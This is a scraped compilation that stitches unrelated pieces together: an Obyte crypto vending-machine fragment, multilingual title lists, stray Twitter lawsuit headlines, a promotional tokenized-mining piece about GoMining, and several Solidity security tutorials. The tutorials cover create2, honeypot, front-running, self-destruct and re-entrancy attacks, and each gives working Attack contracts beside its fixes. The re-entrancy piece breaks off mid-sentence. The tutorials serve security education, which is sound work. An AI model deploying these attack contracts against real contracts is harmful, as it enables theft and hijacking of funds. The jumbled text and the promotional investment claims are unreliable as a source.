with the involved Dapp by sending or receiving transactions to and from the AA’s Obyte address. Users can interact with AAs through their , initiating transactions that are promptly recorded and answered. Obyte wallets Developers can also build their own AAs for different purposes, using the . Some AAs that are deployed on Obyte include the Dapp , the DEXes and , the , the prediction markets platform , and — a tool for cascading donations on GitHub. proper tools Bonded Stablecoins ODEX Oswap Obyte Token Registry Prophet Kivach What to choose? This is entirely up to you, of course. However, we have to admit that NFT machines, crypto-accepting machines, and digital dispensers (of tokens) have very limited and specific functions, while AAs could be any decentralized tool in the digital realm. For beginners, physical vending machines that accept or dispense cryptocurrencies offer tangible, real-world products with the convenience of digital currency transactions. These are suitable for those seeking a bridge between the digital and physical realms. Counterparty dispensers, functioning on the Bitcoin ledger, cater to the NFT market and token trading limited to this network. Autonomous Agents in Obyte present a digital, decentralized alternative, excelling in executing rule-based processes for various DeFi applications and beyond. They offer transparency, security, and user-friendly interactions, and could reach several chains if the users bridge their tokens through . Counterstake As we’ve mentioned above, many interesting applications in Obyte are built with AAs, but they have their own websites with user-friendly interfaces. You’ll just need your wallet and some coins. Ready to try? And remember, you don’t even have to know what an Autonomous Agent is . to use one Featured Vector Image by vectorjuice / Freepik

Exploring Crypto ‘Vending Machines’: Physical Machines, Dispensers, and Autonomous Agents

ক্রিপ্টো 'ভেন্ডিং মেশিন' অন্বেষণ করা: ফিজিক্যাল মেশিন, ডিসপেনসার এবং স্বায়ত্তশাসিত এজেন্ট

Erkundung von Krypto-„Verkaufsautomaten“: physische Maschinen, Spender und autonome Agenten

Explorando las 'máquinas expendedoras' de criptomonedas: máquinas físicas, dispensadores y agentes autónomos

Explorer les « distributeurs automatiques » cryptographiques : machines physiques, distributeurs et agents autonomes

क्रिप्टो 'वेंडिंग मशीन' की खोज: भौतिक मशीनें, डिस्पेंसर और स्वायत्त एजेंट

暗号通貨の「自動販売機」の探求: 物理マシン、ディスペンサー、自律エージェント

암호화폐 '자판기' 탐색: 물리적 기계, 디스펜서 및 자율 에이전트

Explorando ‘máquinas de venda automática’ criptográficas: máquinas físicas, distribuidores e agentes autônomos

Изучение криптовалютных «торговых автоматов»: физические машины, диспенсеры и автономные агенты

Kripto 'Otomat Makinelerini' Keşfetmek: Fiziksel Makineler, Dağıtıcılar ve Otonom Aracılar

Khám phá 'Máy bán hàng tự động' tiền điện tử: Máy vật lý, Máy phân phối và Đại lý tự trị

探索加密“自动售货机”：物理机器、分配器和自主代理

Ned Segal's Complete Indemnification Agreement With Twiter

Bitcoin miners from the earliest days were the OG Bitcoiners. Each one ran a full Bitcoin node and made their own bitcoins. They traded these with other Bitcoiners by writing Bitcoin Script OP codes. Both to transact and to verify if they were talking to real cypherpunks. These guys were tough hombres. Since then, a beautiful and long journey of mountain-climbing hashrate has taken us here into the future. Now we have tokenized Bitcoin mining, and life is easier. This is the present and the future. Tokenized Bitcoin Mining is a real business With all the scams that have wrought the crypto market, it isn’t surprising if you find a Bitcoin maximalist averse to anything ‘token’. But tokenized assets are not a new invention like Bitcoin. They are securities, they have been around, and they are important. Commodities are assets you physically have on your person. They include land, metals, salt, bitcoin mining hardware like electric wires and poles and GPUs, buildings, your bed, smartphone, shoes and clothes. Financial securities allow you to own an asset, or even a piece of it, without having to physically have it on you. They include things like stocks, bond certificates, gold certificates, a legal receipt showing that your friend owes you bitcoins that you stored with them, and many a receipt of ownership. Securities law has been around for decades and is well entrenched. It emerged because it is infeasible to carry on crucial financial activity such as the funding of companies and governments using only commodities or cash. Risk appetite A key problem with securities, especially in a financial climate as dynamic as the one we live in, is the problem of trust. Being too trusting is how people lose their life savings to cranky securities investments spamming the cryptocurrency and traditional currency markets. Being too untrusting is how you remain broke. Bitcoiners ask that you . Sage wisdom to apply as we explore this Bitcoin mining landscape. But bear in mind that all financial investments need a little faith. Even Bitcoiners transacting on the mainchain can (low-key) be swindled of their money if they only trust two confirmations. The probability is small, but it still exists. do not trust, verify We must have faith, for there is always risk. Because you can keep your eye on your commodities they are less risky to own and hold than securities, which are abstract ownership. But since commodities are like physical cash and securities are like digital cash, commodities are more expensive and hence riskier to transit during a trade e.g. Gold, or Bitcoin due to the fluctuating prices and the ballooning :-( fees. Meanwhile, securities are easy-peasy e.g. USDT, stocks, ETF holdings that you can safely transit while in your bed. Physical Bitcoin miners (commodities) have risks as well as tokenized Bitcoin miners (securities). But tokenized miners provide efficiency gains that cannot be matched by most physical miner systems today. Learn your risk appetite, and feed it well. Turning Ethereum into Bitcoin Did you know? You can turn Ethereum into Bitcoin! Lead into Gold. This cryptographic alchemy is being made possible by tokenized mining platforms like . After signing up for an account, a user can purchase an Ethereum-gas-powered NFT of their choosing, which acts as their virtual Bitcoin mining hardware. GoMining I say and not to avoid confusion. virtual Bitcoin mining hardware Bitcoin mining software The user shall be buying a security backed by and pegged to real mining hardware in the background. Meanwhile, Bitcoin mining software is software that enables you to mine bitcoins on a physical Bitcoin mining system. Below is one of the GMT (the name of their NFT) mining assets on the GoMining platform. Available to you at the click of a button no matter where you live in the world. I know the artwork is not fancy. But this is to keep the user focussed on what matters, which is mining bitcoins and making money. For example the above token is worth $17 per TH of mining power with a total of 5000TH up for grabs in that single token. This price might seem high, but it is less than that of whose cost per terahash is well over $22 (image below). this Antminer on Amazon.com I haven’t included the import duty payable at the Kenyan port if you are in Uganda like I am, nor the other setup costs that await you such as connecting wires, a better laptop, an air conditioner to cool your house. So we can see that this by GoMining allows their users to effortlessly own GMTs that return them real-world value , as opposed to cranky jpegs that only gain value when hype is in plenty. idea of a Liquid Bitcoin Hashrate every day This makes these GMT assets (Real World Assets) as much as a physical Antminer. It blurs the line between commodity and security to make these closer to RWA digital commodities. Of course, the Antminers must exist somewhere, held by a big mining pool like Foundry USA. Since Foundry has a majority of the hashrate then they win a majority of the Bitcoin rewards. These rewards are then enjoyed by GoMining users, to the chagrin of Solo miners and Pool miners running physical hardware with high maintenance costs (that Antminer above is going to need cleaning every other while. Which will be hell if you live in a dusty area of the world). The Future is Tokenized Bitcoin Mining As can be appreciated, the future is tokenized Bitcoin mining. Especially when mining becomes so unprofitable for physical holders of 1,2,3 ASICs with the ballooning of maintenance costs following a shrinking of mining rewards with . each Bitcoin halving Even more impressive is the fact that tokenized Bitcoin mining is an easy on-ramp for holders of alternative cryptocurrencies such as Ethereum, Solana, Dogecoin. If some of Ethereum’s huge ($200 billion) market cap is channeled towards mining bitcoins, I, a Bitcoiner, have no problem with that. I like that. And what do you know, platforms like GoMining hit these two birds with one stone. ; When in doubt, please call your lawyer friend. This should be (high-key) cheaper than buying an ASIC, setting up a fence and hiring a security guard, which you would do if you were a Bitcoin miner like the OG Bitcoiners. Remember

From Physical to Tokenized Bitcoin Mining 

ফিজিক্যাল থেকে টোকেনাইজড বিটকয়েন মাইনিং পর্যন্ত

Vom physischen zum tokenisierten Bitcoin-Mining

De la minería de Bitcoin física a la tokenizada

Du minage physique au minage de Bitcoin tokenisé

भौतिक से लेकर टोकनयुक्त बिटकॉइन माइनिंग तक

物理的なビットコイン マイニングからトークン化されたビットコイン マイニングまで

물리적 비트코인 채굴부터 토큰화된 비트코인 채굴까지

Da mineração física à mineração de Bitcoin tokenizada

От физического к токенизированному майнингу биткойнов

Fizikselden Tokenize Bitcoin Madenciliğine

Từ khai thác Bitcoin vật lý đến mã hóa

从实物比特币挖矿到代币化比特币挖矿

Vijaya Gadde and Twitter: The Indemnification Agreement They Have

Twitter Lawsuit: All of the Juicy Details of the Director and Officer Indemnification Agreement

A create2 opcode attack in smart contracts essentially exploits the feature of this opcode to deploy contracts at a specific address. This feature, combined with certain contract logic, can become a vulnerability to be exploited. Although the create2 opcode is quite simple, it provides greater flexibility for contract implementation, making it very common in today's DeFi protocols. 🌐 For instance, in UniswapV3, token liquidity pools are automatically deployed using a factory contract. When we call some functions of the UniswapV3 contract (like flash loans), we can calculate the address of the corresponding liquidity pool in a way similar to this: address pool = address(
            uint160(
                uint(
                    keccak256(
                        abi.encodePacked(
                            hex"ff",
                            factory,
                            keccak256(abi.encode(key.token0, key.token1, key.fee)),
                            POOL_INIT_CODE_HASH
                        )
                    )
                )
            ); This is because the create2 opcode calculates the address when deploying a contract using four parameters: the first is to avoid address collision with contracts deployed using create, the second is the address of the contract deployer, the third is a salt value determined by the deployer, and the fourth is a hash value calculated from the contract's bytecode and packed parameters. 🧩 bytes1(0xff) This reminds us to be mindful of the deployment method of contracts and the possibility of changing the content of the called contract through the create2 opcode, potentially injecting malicious code. 🛡️ In this article, I will demonstrate a simple create2 attack example and how to prevent such attacks. First, Let's Describe the Process of a create2 Attack Alice deploys a simple contract, whose main function is to approve proposals created by others and then execute these proposals through delegatecall. The code is as follows: DAO // SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract DAO {
    struct Proposal {
        address target;
        bool approved;
        bool executed;
    }

    address public owner = msg.sender;
    Proposal[] public proposals;

    function approve(address target) external {
        require(msg.sender == owner, "not authorized");
        proposals.push(Proposal({target: target, approved: true, executed: false}));
    }

    function execute(uint256 proposalId) external payable {
        Proposal storage proposal = proposals[proposalId];
        require(proposal.approved, "not approved");
        require(!proposal.executed, "executed");
        proposal.executed = true;
        (bool ok, ) = proposal.target.delegatecall(
            abi.encodeWithSignature("executeProposal()")
        );
        require(ok, "delegatecall failed");
    }
} The attacker, Eve, discovers a vulnerability in this DAO contract and deploys a Deployer contract. This contract uses the create2 opcode to deploy two other contracts. One is the legitimate Proposal contract, and the other is the Attack contract used for the attack. The code is as follows: contract Deployer {
    event Log(address addr);

    function deployProposal(uint256 salt) external {
        address addr = address(new Proposal{salt: salt}());
        emit Log(addr);
    }

    function deployAttack(uint256 salt) external {
        address addr = address(new Attack{salt: salt}());
        emit Log(addr);
    }
}

contract Proposal {
    event Log(string message);

    function executeProposal() external {
        emit Log("Executed code approved by DAO");
    }

    function emergencyStop() external {
        selfdestruct(payable(address(0)));
    }
}

contract Attack {
    event Log(string message);

    address public owner;

    function executeProposal() external {
        emit Log("Executed code not approved by DAO :)");
        // For example - set DAO's owner to attacker
        owner = msg.sender;
    }
} A simplified process of a create2 attack: Eve first uses the Deployer contract with a predetermined salt value (e.g., ) to deploy the Proposal contract, which is a legitimate proposal. 🧱 bytes32 salt = keccak256(abi.encode(uint(123))); Eve submits this proposal to Alice, and Alice calls the DAO contract to approve this proposal. ✅ Eve invokes the emergencyStop function of the Proposal contract, triggering selfdestruct, and thus destroying the contract. 💥 Eve uses the Deployer contract with the same salt value (e.g., ) to deploy the Attack contract, inserting malicious code. 🕵️‍♂️ bytes32 salt = keccak256(abi.encode(uint(123))); Alice calls the execute function of the DAO contract to execute the proposal. Since the Proposal struct's data structure and the execute function's logic do not check the internal logic of the proposal at the time of execution, they only execute based on the address of the already approved proposal contract. Therefore, the delegatecall actually calls the Attack contract. 🚨 The Attack contract contains a function executeProposal with a signature identical to that in the Proposal contract, circumventing the function signature check in . As a result, the executeProposal function in the Attack contract is called, modifying variables in the corresponding storage slots of the DAO contract through delegatecall. 🔀 (bool ok, ) = proposal.target.delegatecall(abi.encodeWithSignature("executeProposal()")); Observing the storage slots of the DAO contract, the first one is the struct Proposal, which does not actually occupy storage slots when declared. Therefore, the variable at slot 0 is actually . Looking at the storage slots of the Attack contract, slot 0 also contains . So, the delegatecall to in the Attack contract results in changing the owner variable in the first storage slot of the DAO contract to the attacker, Eve. 🎭 address public owner = msg.sender; address public owner; owner = msg.sender; How to Prevent Such create2 Attacks This attack is quite simple in itself, but it shows that the combination of the create2 opcode and contract logic used extensively in today's mainstream DeFi protocols is not always perfect. Based on the principle of the attack, we can consider the following ways to reduce such risks: Before approving and executing any external contract calls, we should verify the content of the contract itself, not just represent the already deployed contract by its address. This can be achieved by verifying the contract's bytecode. 🔍 Be wary of contracts with selfdestruct functionality and limit and monitor calls to them. This can be achieved through code audits and contract governance. ⚠️ For DAO-type contracts, consider adding a time lock before executing proposals. This can provide enough buffer time to review the content of the proposal, ensuring it has not been replaced with malicious actions. ⏳ Be cautious in function calls involving delegatecall, as delegatecall will change the variables in the caller's own storage slots. Even if it's not malicious code, inconsistencies in the storage layout between the caller and the callee can lead to unexpected errors. 🤔 That concludes our discussion on create2 attacks and related security strategies. Since you've made it this far, how about giving me a like? 👍

What is a create2 Attack in Smart Contracts? How to Avoid It? 🤔

attacks in smart contracts essentially exploit the check for interface consistency during contract interactions. Although simple, these attacks involve security checks that are necessary when a contract interacts with others and are not impregnable, making such vulnerabilities still common today. 🧐 Honeypot This reminds us of the need for careful examination of interfaces when writing smart contracts, especially when calling external interfaces. Attackers can use contracts disguised as legitimate interfaces to execute attacks. In this article, I will demonstrate a simple Honeypot attack example and how to prevent such attacks. 🕵️‍♂️ First, Let’s Describe the Process of a Honeypot Attack Alice deploys 3 simple contracts: a Bank contract, a Logger contract, and a HoneyPot contract. The HoneyPot contract's file is separate, so its code is not visible externally. The Bank contract's main function is to deposit and withdraw ethers, and the Logger contract mainly serves as an event logger, recording information about withdrawal events. This is common in complex contract scenarios, where different functions are written in different modules for decoupling. The code is as follows: 👩‍💻 // SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract Bank {
    mapping(address => uint) public balances;
    Logger logger;

    constructor(Logger _logger) {
        logger = Logger(_logger);
    }

    function deposit() public payable {
        balances[msg.sender] += msg.value;
        logger.log(msg.sender, msg.value, "Deposit");
    }

    function withdraw(uint _amount) public {
        require(_amount <= balances[msg.sender], "Insufficient funds");

        (bool sent, ) = msg.sender.call{value: _amount}("");
        require(sent, "Failed to send Ether");

        balances[msg.sender] -= _amount;

        logger.log(msg.sender, _amount, "Withdraw");
    }
}

contract Logger {
    event Log(address caller, uint amount, string action);

    function log(address _caller, uint _amount, string memory _action) public {
        emit Log(_caller, _amount, _action);
    }
}

// Let's say this code is in a separate file so that others cannot read it.
contract HoneyPot {
    function log(address _caller, uint _amount, string memory _action) public {
        if (equal(_action, "Withdraw")) {
            revert("It's a trap");
        }
    }

    // Function to compare strings using keccak256
    function equal(string memory _a, string memory _b) public pure returns (bool) {
        return keccak256(abi.encode(_a)) == keccak256(abi.encode(_b));
    }
} The attacker, Eve, notices the Bank and Logger contracts. The Bank contract's withdrawal function lacks measures against Re-Entrancy, making it vulnerable to liquidity drainage as shown in [this example]( ). https://hackernoon.com/what-is-a-re-entrancy-attack-in-smart-contracts-and-how-to-avoid-it Hence, she deploys a simple Attack contract, identical to the one in our previous example link, which triggers recursive calls to the Bank contract's withdraw function via the Attack contract's fallback function upon receiving ether. The code is as follows: 💻 // Hacker tries to drain the Ethers stored in Bank by reentrancy.
contract Attack {
    Bank bank;

    constructor(Bank _bank) {
        bank = Bank(_bank);
    }

    fallback() external payable {
        if (address(bank).balance >= 1 ether) {
            bank.withdraw(1 ether);
        }
    }

    function attack() public payable {
        bank.deposit{value: 1 ether}();
        bank.withdraw(1 ether);
    }

    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
} A complete Honeypot attack process: Alice first deposits 10 ether into the Bank contract. Eve calls the Attack.attack function intending to perform a Re-Entrancy attack on the Bank contract. This function first deposits 1 ether into the Ethereum Bank contract, then calls the Bank's withdraw to take out the just-deposited 1 ether. When the Bank contract sends 1 ether back to the Attack contract, without a receive function, it falls into the fallback function, which recursively calls the Bank contract's withdraw function until all of Alice's 10 ethers are sent to the Attack contract. Since EVM code execution is synchronous, all subsequent code is blocked until now. Only after the Bank contract sends all 10 ethers to the Attack contract does it execute the statement. logger.log(msg.sender, _amount, "Withdraw"); Here's the crux. When Alice deployed the Bank contract, the _logger parameter in the constructor wasn't the real Logger contract's address but the address of the HoneyPot contract. The HoneyPot contract has a log function with the same function name, parameters, and return values as the Logger contract's log function, meaning these interfaces are identical. Thus, the object instantiated in the Bank contract's constructor is actually the HoneyPot contract, and calling its log function would pass the interface consistency check. logger = Logger(_logger); Therefore, executing actually runs the HoneyPot contract's log function. logger.log(msg.sender, _amount, "Withdraw"); This function checks if the string passed in the Bank.withdraw function's statement is "Withdraw". Clearly, it is, so HoneyPot.log executes the statement. logger.log(msg.sender, _amount, "Withdraw"); revert("It's a trap"); All transactions that occurred in the Bank.withdraw function call are then rolled back. Thus, not only can the attacker Eve not get Alice's deposited ether, but her own deposited ether is also locked in the contract. How to Prevent Such Honeypot Attacks This attack is straightforward, but it shows that interface consistency checks in function calls between contracts are not perfect, being merely checks of function signatures. Based on the principle of the attack, we can consider some ways to reduce the risk of such vulnerabilities: Attackers might use malicious contracts disguised as legitimate ones. Therefore, when a contract interacts with external addresses, especially when calling critical functions, these external addresses and their internal code should be carefully examined. In the smart contract environment, code transparency is a double-edged sword. Although it provides auditability and trust, it also exposes the internal logic of the contract. When designing defenses against Honeypot attacks, consider hiding key logic or verification steps in contracts that are not easily analyzed (like the HoneyPot contract in the example). Use libraries like openzeppelin that have been verified over time. These libraries reduce code and logic errors and provide community-verified best practices. If someone else's contract does not use these simple methods to reduce risk, we need to know why before calling them. Adequate auditing and testing before contract deployment. Continuous monitoring and updating after launch, and timely upgrades or fixes if such vulnerabilities are discovered. That's all about the HoneyPot vulnerability and related security strategies. Since you've read this far, help me out with a like! 👍

Understanding and Preventing Honeypot Attacks in Smart Contracts 🔐

Many users often complain about being victims of sandwich attacks or front-running attacks. In reality, these attacks are often initiated by Mev Bots. In this short article, I won’t delve into the details of MEV (you can refer to the for that). Ethereum official documentation MevBots are still actively operating on the Ethereum network today, with some continuing to target users. 🌐 This reminds us that when writing smart contracts, we need to consider vulnerabilities that MevBots might exploit and attack and take appropriate measures to avoid them. In this article, I will demonstrate a simple example of a front-running attack and how to prevent such attacks. 🛡️ First, Let's Describe the Process of a Front Running Attack Alice deployed a simple game contract and deposited 10 ether. The rule of the game is to guess the string (a word) corresponding to a specific hash, and the player who guesses it wins a reward of 10 ether. The code is as follows: // SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract FindThisHash {
    bytes32 public constant hash =
        0x564ccaf7594d66b1eaaea24fe01f0585bf52ee70852af4eac0cc4b04711cd0e2;

    constructor() payable {}

    function solve(string memory solution) public {
        require(hash == keccak256(abi.encodePacked(solution)), "Incorrect answer");

        (bool sent, ) = msg.sender.call{value: 10 ether}("");
        require(sent, "Failed to send Ether");
    }
} The player, Bob, guesses the word corresponding to the hash as "Ethereum" and calls the solve function with this word as the parameter. His wallet's default transaction gas is set at 10 gwei. The attacker Eve's bot detects Bob's transaction in the memory pool and automatically initiates another transaction with the same content but sets the gas to 1000 gwei. Transactions in the memory pool are sorted based on gas, and since Eve's transaction is set with much higher gas than Bob's, it gets included in the block before Bob's and is mined first. Thus, Eve beats Bob to win the 10 ether in the game. Bob's call to the solve function only leads to a revert, with the message “Failed to send Ether.” 💸 How to Prevent Such Front-Running Attacks This attack is quite straightforward, but it showcases an important design line of MEV, . Many MevBots work on this principle, including the sandwich attack bots mentioned earlier. monitoring and attacking in the dark forest of the memory pool Based on this design strategy of MevBots, when we write contracts, we can consider the following methods to reduce such risks: 🔍 Using Commit-Reveal Schemes Under Existing Conditions for Transaction Design: Let's use the same game as an example to explain how the Commit-Reveal transaction design avoids such monitoring and attacks targeting the memory pool. The code is as follows: contract SecuredFindThisHash {
    // Struct is used to store the commit details
    struct Commit {
        bytes32 solutionHash;
        uint commitTime;
        bool revealed;
    }

    // The hash that is needed to be solved
    bytes32 public hash =
        0x564ccaf7594d66b1eaaea24fe01f0585bf52ee70852af4eac0cc4b04711cd0e2;

    // Address of the winner
    address public winner;

    // Price to be rewarded
    uint public reward;

    // Status of game
    bool public ended;

    // Mapping to store the commit details with address
    mapping(address => Commit) commits;

    // Modifier to check if the game is active
    modifier gameActive() {
        require(!ended, "Already ended");
        _;
    }

    constructor() payable {
        reward = msg.value;
    }

    /* 
       Commit function to store the hash calculated using keccak256(address in lowercase + solution + secret). 
       Users can only commit once and if the game is active.
    */
    function commitSolution(bytes32 _solutionHash) public gameActive {
        Commit storage commit = commits[msg.sender];
        require(commit.commitTime == 0, "Already committed");
        commit.solutionHash = _solutionHash;
        commit.commitTime = block.timestamp;
        commit.revealed = false;
    }

    /* 
        Function to get the commit details. It returns a tuple of (solutionHash, commitTime, revealStatus);  
        Users can get solution only if the game is active and they have committed a solutionHash
    */
    function getMySolution() public view gameActive returns (bytes32, uint, bool) {
        Commit storage commit = commits[msg.sender];
        require(commit.commitTime != 0, "Not committed yet");
        return (commit.solutionHash, commit.commitTime, commit.revealed);
    }

    /* 
        Function to reveal the commit and get the reward. 
        Users can reveal the solution only if the game is active and they have committed a solutionHash before this block and not revealed yet.
        It generates a keccak256(msg.sender + solution + secret) and checks it with the previously committed hash.  
        Front runners will not be able to pass this check since the msg.sender is different.
        Then the actual solution is checked using keccak256(solution), if the solution matches, the winner is declared, 
        the game is ended and the reward amount is sent to the winner.
    */
    function revealSolution(
        string memory _solution,
        string memory _secret
    ) public gameActive {
        Commit storage commit = commits[msg.sender];
        require(commit.commitTime != 0, "Not committed yet");
        require(commit.commitTime < block.timestamp, "Cannot reveal in the same block");
        require(!commit.revealed, "Already committed and revealed");

        bytes32 solutionHash = keccak256(
            abi.encodePacked(Strings.toHexString(msg.sender), _solution, _secret)
        );
        require(solutionHash == commit.solutionHash, "Hash doesn't match");

        require(keccak256(abi.encodePacked(_solution)) == hash, "Incorrect answer");

        winner = msg.sender;
        ended = true;

        (bool sent, ) = payable(msg.sender).call{value: reward}("");
        if (!sent) {
            winner = address(0);
            ended = false;
            revert("Failed to send ether.");
        }
    }
} First, Alice still deploys a game contract to guess the word corresponding to the hash to win 10 ether. Bob finds the corresponding word "Ethereum." He uses on the frontend to pack his own address, the answer, and a secret into a hash value (let's call this correctAnswerHash) and calls the commitSolution function, passing in this correctAnswerHash value. A commit is then saved in the contract's commits mapping. keccak256(abi.encodePacked(Strings.toHexString(msg.sender), _solution, _secret) Attacker Eve's MevBot detects this transaction in the memory pool and submits another transaction with the same parameter as Bob's, also correctAnswerHash, at a higher gas. Her commit is also saved in the contract's commits mapping. But at this point, no one has won the reward yet because there is a second step to the game. Then Bob calls the revealSolution function, this time passing in two parameters on the frontend: the word he guessed "Ethereum" and the secret he set earlier. The contract again packs and calculates the hash with these two inputs and the caller's address: . We'll call this hash correctAnswerHash2. keccak256(abi.encodePacked(Strings.toHexString(msg.sender), _solution, _secret) The contract compares the correctAnswerHash and correctAnswerHash2 for the same caller. Bob's will be the same as the parameters used in both calculations are identical. However, Eve's will be different, as her first submitted correctAnswerHash was calculated using Bob's address, while the second calculated correctAnswerHash2 uses her own address. In this way, even if Eve continuously monitors the memory pool and submits transactions with higher gas ahead of Bob, she ultimately cannot pass the contract's check, and Bob wins the game. 🎉 Adopting Privacy-Enhancing Technologies or Services Like Flashbots: Since the design strategy of these MevBot attacks is based on monitoring and attacking the memory pool, as long as our transactions are not publicly exposed in the memory pool, we can avoid these attacks. One effective way is to use Zero-Knowledge Proofs ( ). ZK-Proofs are an encryption technology that allows one party (the prover) to prove to another party (the verifier) that a statement is true without revealing any other information about the statement. ZK-Proofs For example, in this game, users can generate a proof that they know an input that produces the correct hash output without publicly exposing this input on the blockchain. They can only claim the reward when their proof is verified as true. Some proof methods, like zk-SNARKs, can provide fast verification times. Thus, we currently see many Ethereum network L2s applying zero-knowledge proofs for upgrades. Another widely used method nowadays is to employ services like . 🚀 These services enable the bundling of transactions into a package that are submitted directly to miners (validators), bypassing the mempool. 🌐 Flashbots This approach effectively shields your transactions from being exposed in the mempool, thereby eliminating the possibility of being detected and exploited by the aforementioned MevBots. 🛡️ That wraps up our discussion on Front Running attacks and related security strategies. 📝 If you've made it this far, please take a moment to give this a like! 👍🙂

What Is MevBot's Front Running Attack on Users? How to Avoid It? 🤔

Self-destruct attacks in smart contracts fundamentally target the logic of the contract. Although these attacks are relatively straightforward, they remain a common threat in the realm of deployment. This highlights the importance of comprehensive logic considerations, extensive testing, and code audits before deployment. In this article, I'll showcase a simple example of a self-destruct vulnerability and how to counter such attacks. 🧠💻 smart contract The Process of a Self-Destruct Attack 🔄 Alice deployed a simple game contract. Its main function allows each user to deposit one ether at a time, with the 7th depositor winning and claiming all the ether in the contract as a reward. Here's the code: // SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract EtherGame {
    uint public targetAmount = 7 ether;
    address public winner;

    function deposit() public payable {
        require(msg.value == 1 ether, "You can only send 1 Ether");

        uint balance = address(this).balance;
        require(balance <= targetAmount, "Game is over");

        if (balance == targetAmount) {
            winner = msg.sender;
        }
    }

    function claimReward() public {
        require(msg.sender == winner, "Not winner");

        (bool sent, ) = msg.sender.call{value: address(this).balance}("");
        require(sent, "Failed to send Ether");
    }
} Alice and Bob each deposited 1 Ether, making the contract's total 2 Ether. Then, Eve deployed an Attack contract, injecting it with five ethers. She then executed the function to launch a self-destruct assault on the EtherGame contract. Here's the attack code: attack() contract Attack {
    EtherGame etherGame;

    constructor(EtherGame _etherGame) payable {
        etherGame = EtherGame(_etherGame);
    }

    function attack() public payable {
        // You can simply break the game by sending ether so that
        // the game balance >= 7 ether

        // cast address to payable
        address payable addr = payable(address(etherGame));
        selfdestruct(addr);
    }
} Upon deploying the Attack contract, Eve used the address of Alice's EtherGame contract in the constructor. The line in the constructor forcibly converts this address to an EtherGame contract type and assigns it to the variable. This essentially builds a reference to an EtherGame-type contract, pointing to Alice's deployed EtherGame contract. etherGame = EtherGame(_etherGame); etherGame Eve then invoked the function. The line creates a memory reference to the etherGame contract address. The destroys the Attack contract and transfers the remaining five ether to this address. Attack.attack address payable addr = payable(address(etherGame)); selfdestruct(addr) The act of destroying the contract with self-destruct and sending five ether can bypass the logic and checks of other contracts when receiving ether transfers. It means it won't trigger the logic in the deposit() function, effectively making the EtherGame contract's balance ≥ 7 ether. require(msg.value == 1 ether, "You can only send 1 Ether"); Consequently, no one can now win this game, nor can more ether be sent to it. Preventing Self Destruct Attacks 🛡️🚫 This attack is simple but exploits a loophole in the EtherGame contract's logic. The idea is if I complete some operations without going through the contract's own logic or calling its functions, thus altering the contract's state, I can manipulate the game rules for profit. Therefore, going back to the contract's own logic design, we should consider that the game rules and winner conditions need to be immune to self-destruct transfers. In this case, the reason self-destruct could bypass the deposit() function is mainly because we used to represent the current contract balance, also using this value as the condition for determining the winner. Self-destruct can change this value without invoking deposit(). address(this).balance; The simplest way is to refine the contract's logic, using a data source that self-destruct cannot change without invoking deposit() as the standard for determining the winner. For example, add a state variable to the contract to replace the role of : address(this).balance; // SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract EtherGame {
    uint public targetAmount = 7 ether;
    uint public balance;
    address public winner;

    function deposit() public payable {
        require(msg.value == 1 ether, "You can only send 1 Ether");

        balance += msg.value;
        require(balance <= targetAmount, "Game is over");

        if (balance == targetAmount) {
            winner = msg.sender;
        }
    }

    function claimReward() public {
        require(msg.sender == winner, "Not winner");

        (bool sent, ) = msg.sender.call{value: balance}("");
        require(sent, "Failed to send Ether");
    }
} Now, the EtherGame contract has turned into a honeypot. Attackers can still trigger , activating self-destruct to send ether, but it only increases the game's prize without disrupting the game rules. 🎮💸 Attack.attack() That's all about the self-destruct vulnerability and related security strategies. If you've made it this far, why not give a thumbs up? 👍💬🌟

What is a Self Destruct Attack in Smart Contracts and How to Prevent Them? 🚨🛡️

Risk Warning: This article is just my own notes from learning about smart contract security! The purpose of my recording is just to serve as my personal cheat sheet. Please do not attempt to use the content herein to attack smart contracts deployed by others, as your actions are not related to me, and you will bear all legal responsibilities arising from them. If you do not agree with this statement, please exit immediately. Continuing to read is deemed as an acknowledgment of this statement.🚨🚨 A Re-Entrancy vulnerability is one of the most common security risks in smart contract development and requires careful contract design and appropriate security measures to prevent. In this article, I will demonstrate an example of a Re-Entrancy vulnerability and three different methods to prevent Re-Entrancy attacks. First, Let's Describe the Process of a Re-Entrancy Attack Alice deployed a simple contract. The main function of this contract is for users to deposit ether and later withdraw their own ether. The code is as follows: // SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract EtherStore {
    mapping(address => uint) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        uint bal = balances[msg.sender];
        require(bal > 0);

        (bool sent, ) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");

        balances[msg.sender] = 0;
    }

    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
} Alice and Bob each deposited 1 Ether and 2 Ether, respectively, so the contract now holds 3 Ether. Then Eve deployed an Attack contract and will use it to launch a Re-Entrancy attack on the EtherStore contract. The code is as follows: contract Attack {
    EtherStore public etherStore;
    uint256 constant public AMOUNT = 1 ether;

    constructor(address _etherStoreAddress) {
        etherStore = EtherStore(_etherStoreAddress);
    }

    fallback() external payable {
        if (address(etherStore).balance >= AMOUNT) {
            etherStore.withdraw();
        }
    }

    function attack() external payable {
        require(msg.value >= AMOUNT);
        etherStore.deposit{value: AMOUNT}();
        etherStore.withdraw();
    }
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
} When Eve deployed the Attack contract, she passed in the address of Alice's deployed EtherStore contract in the constructor. The statement in the constructor forcibly converts this address into an EtherStore contract type and assigns it to the etherStore variable. EtherStore(_etherStoreAddress) This essentially creates an instance of the EtherStore-type contract and points to Alice's deployed EtherStore contract. Then Eve calls the Attack.attack function and transfers 1 Ether. The statement will deposit 1 Ether into the EtherStore contract. etherStore.deposit{value: AMOUNT}(); At this point, the inside the EtherStore contract updates the balance corresponding to the Attack contract's address to 1 Ether. mapping(address => uint) public balances; Immediately following this, the statement in the attack function attempts to call the EtherStore contract's withdraw function and retrieve 1 ether. This call was successfully completed. etherStore.withdraw(); When the 1 ether sent from the EtherStore contract arrives at the Attack contract, since the Attack contract does not have a receive function, it will fall into the fallback function. The logic of the fallback function is to check if the EtherStore contract still has more than 1 ether. If so, it will again call the EtherStore contract's withdrawal function to continue withdrawing funds. This process will loop until the EtherStore contract's 